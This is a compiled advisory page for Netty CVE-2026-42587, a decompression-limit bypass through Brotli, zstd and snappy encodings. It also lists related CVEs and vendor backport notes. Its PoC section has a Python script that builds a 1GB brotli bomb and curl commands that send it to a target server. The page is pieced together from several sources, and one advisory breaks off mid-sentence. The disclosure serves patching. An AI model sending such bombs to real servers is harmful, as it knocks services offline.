CVE-2026-42587

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

Summary

HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.

The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.

Details

HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.

For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():

// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))

ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:

// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());

For brotli, zstd, and snappy, the decoders are created without any size limit:

// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())

// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())

// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())

BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.

ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.

The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.

PoC

1. Configure a Netty HTTP server with decompression bomb protection:

pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576));     // 1MB max

2. Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):

import brotli
bomb = b'\x00' * (1024 * 1024 * 1024)  # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
    f.write(compressed)
# compressed size: ~1KB

3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):

# This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: gzip' \
  --data-binary @bomb.gz
# Result: DecompressionException thrown at 1MB

4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):

# This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: br' \
  --data-binary @bomb.br
# Result: Full 1GB decompressed into memory → OOM

5. The same bypass works with Content-Encoding: zstd and Content-Encoding: snappy.

Impact

• Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on maxAllocation for decompression bomb protection, by simply using a non-gzip content encoding.
• False sense of security: Developers who explicitly…

A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack.

Impact

This is a DDOS attack, any http2 server is affected and so you should update as soon as possible.

Patches

This is patched in version 4.1.100.Final.

Workarounds

A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own Http2FrameListener implementation or an ChannelInboundHandler implementation (depending which http2 API is used).

References

• https://www.cve.org/CVERecord?id=CVE-2023-44487
• https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
• https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/

Red Hat Lightwell has released io.netty:netty-codec-http2 4.1.100.Final-rhlw-00001 with backported fixes for CVE-2025-55163, CVE-2026-33871, CVE-2026-42587, CVE-2026-47244, CVE-2026-48043, CVE-2026-50560, CVE-2026-56819, and CVE-2026-59900.

CVE-2025-55163: Netty MadeYouReset HTTP/2 DDoS Vulnerability

CVE-2026-33871: Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass

CVE-2026-42587: Netty: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS

CVE-2026-47244: Netty HTTP/2: Advertised MAX_CONCURRENT_STREAMS are not enforced

CVE-2026-48043: netty-codec-http2: ByteBuf Reference-Count Leak in DelegatingDecompressorFrameListener Leads to Memory Exhaustion

CVE-2026-50560: Netty susceptible to HTTP/2 Reset Attack with different on-the-wire signature

CVE-2026-56819: Netty: HTTP/2 decompression leaks ByteBuf reference count when the decompressor channel is already closed (Direct memory leak / OOM DoS)

CVE-2026-59900: Netty codec-http2: Lack of Host Header Deduplication in HTTP/2→HTTP/1.x Translation Leads to Request Routing Bypass

This patched artifact is a drop-in replacement for io.netty:netty-codec-http2 4.1.100.Final from Maven Central.

Red Hat Lightwell has released io.netty:netty-codec-http 4.1.100.Final-rhlw-00001 with backported fixes for CVE-2024-29025, CVE-2025-58056, CVE-2025-67735, CVE-2026-33870, CVE-2026-41417, CVE-2026-42580, CVE-2026-42581, CVE-2026-42584, CVE-2026-42585, CVE-2026-42587, CVE-2026-50020, CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-56746, CVE-2026-59898, CVE-2026-59899, CVE-2026-59903, and CVE-2026-59921.

CVE-2024-29025: Netty HttpPostRequestDecoder can OOM

CVE-2025-58056: Netty is vulnerable to request smuggling due to incorrect parsing of chunk extensions

CVE-2025-67735: Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

CVE-2026-33870: Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

CVE-2026-41417: Netty vulnerable to HTTP request smuggling and RTSP request injection via DefaultHttpRequest.setUri()

CVE-2026-42580: Netty: HTTP Request Smuggling due to incorrect chunk size parsing

CVE-2026-42581: Netty: HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

CVE-2026-42584: Netty: HttpClientCodec response desynchronization

CVE-2026-42585: Netty: HTTP Request Smuggling due to malformed Transfer-Encoding

CVE-2026-42587: Netty: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS

CVE-2026-50020: Netty's HttpObjectDecoder skips arbitrary initial control characters when only initial CRLF characters are permitted

CVE-2026-55831: Netty SPDY SETTINGS frame count materializes unbounded settings map

CVE-2026-55833: Netty SPDY zlib header block continues decoded expansion after maxHeaderSize truncation

CVE-2026-56745: Netty SpdyHttpDecoder: ByteBuf Reference Leak on RST_STREAM Leads to Native Memory Exhaustion

CVE-2026-56746: Netty has a Security Control Bypass via CORS Short-Circuit Failure

CVE-2026-59898: Netty: WebSockets V07/V08 handshaker missing Connection/Upgrade validation

CVE-2026-59899: Netty HttpContentEncoder: Unbounded Per-Connection Queue Growth via HTTP/1.1 Pipelining Leads to Denial of Service

CVE-2026-59903: Netty: Cache Poisoning and Information Disclosure via CORS Vary Header Overwrite

CVE-2026-59921: Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

This patched artifact is a drop-in replacement for io.netty:netty-codec-http 4.1.100.Final from Maven Central.

Root has patched CVE-2026-42587 in the io.netty:netty-codec-http package for Root:Maven. Multiple fixed versions available.

Root has patched GHSA-xpw8-rcwv-8f8p in the io.root.io.netty:netty-codec-http2 package for Root:Maven. Multiple fixed versions available.

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

TuxCare rebuilt 7 io.netty packages to address 11 CVEs. Fixed in 4.1.130.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 59 CVEs. Fixed in 4.1.122.Final-tuxcare.2.

TuxCare rebuilt 47 io.netty packages to address 60 CVEs. Fixed in 4.1.119.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 41 CVEs. Fixed in 4.1.112.Final-tuxcare.6.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.111.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 48 CVEs. Fixed in 4.1.117.Final-tuxcare.3.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.108.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.107.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.94.Final-tuxcare.1.

TuxCare rebuilt 12 io.netty packages to address 28 CVEs. Fixed in 4.1.79.Final-tuxcare.2.

TuxCare rebuilt 8 io.netty packages to address 9 CVEs. Fixed in 4.1.93.Final-tuxcare.4.

TuxCare rebuilt 8 io.netty packages to address 17 CVEs. Fixed in 4.1.128.Final-tuxcare.1.

TuxCare rebuilt 2 io.netty packages to address 1 CVE. Fixed in 4.1.115.Final-tuxcare.12.

These are all security issues fixed in the netty-4.1.133-1.1 package on the GA media of openSUSE Tumbleweed.

This update for netty, netty-tcnative fixes the following issues

• CVE-2026-41417: missing validations leads to HTTP request smuggling and RTSP request injection via start-line injection in DefaultHttpRequest.setUri() (bsc#1264350).
• CVE-2026-42578: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty (bsc#1265243).
• CVE-2026-42579: DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding (bsc#1265272).
• CVE-2026-42580: chunk size parser silently overflows int and enables request smuggling attacks (bsc#1265273).
• CVE-2026-42581: TE+CL header coexistence in HTTP/1.0 requests bypasses smuggling sanitization (bsc#1265277).
• CVE-2026-42583: resource exhaustion and possible denial of service via Lz4FrameDecoder (bsc#1265279).
• CVE-2026-42584: improper handling of inbound responses in HttpClientCodec can lead to response desynchronization (bsc#1265280).
• CVE-2026-42585: Netty is an asynchronous, event-driven network application framework (bsc#1265292).
• CVE-2026-42586: CRLF Injection in Netty Redis Codec Encoder (bsc#1265245).
• CVE-2026-42587: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS (bsc#1265246).
• CVE-2026-44248: Netty is an asynchronous, event-driven network application framework (bsc#1265294).
• CVE-2026-42582: HTTP/3 QPACK literal unbounded allocation (bsc#1265318).

Changes for netty:

• Upgrade to upstream version 4.1.133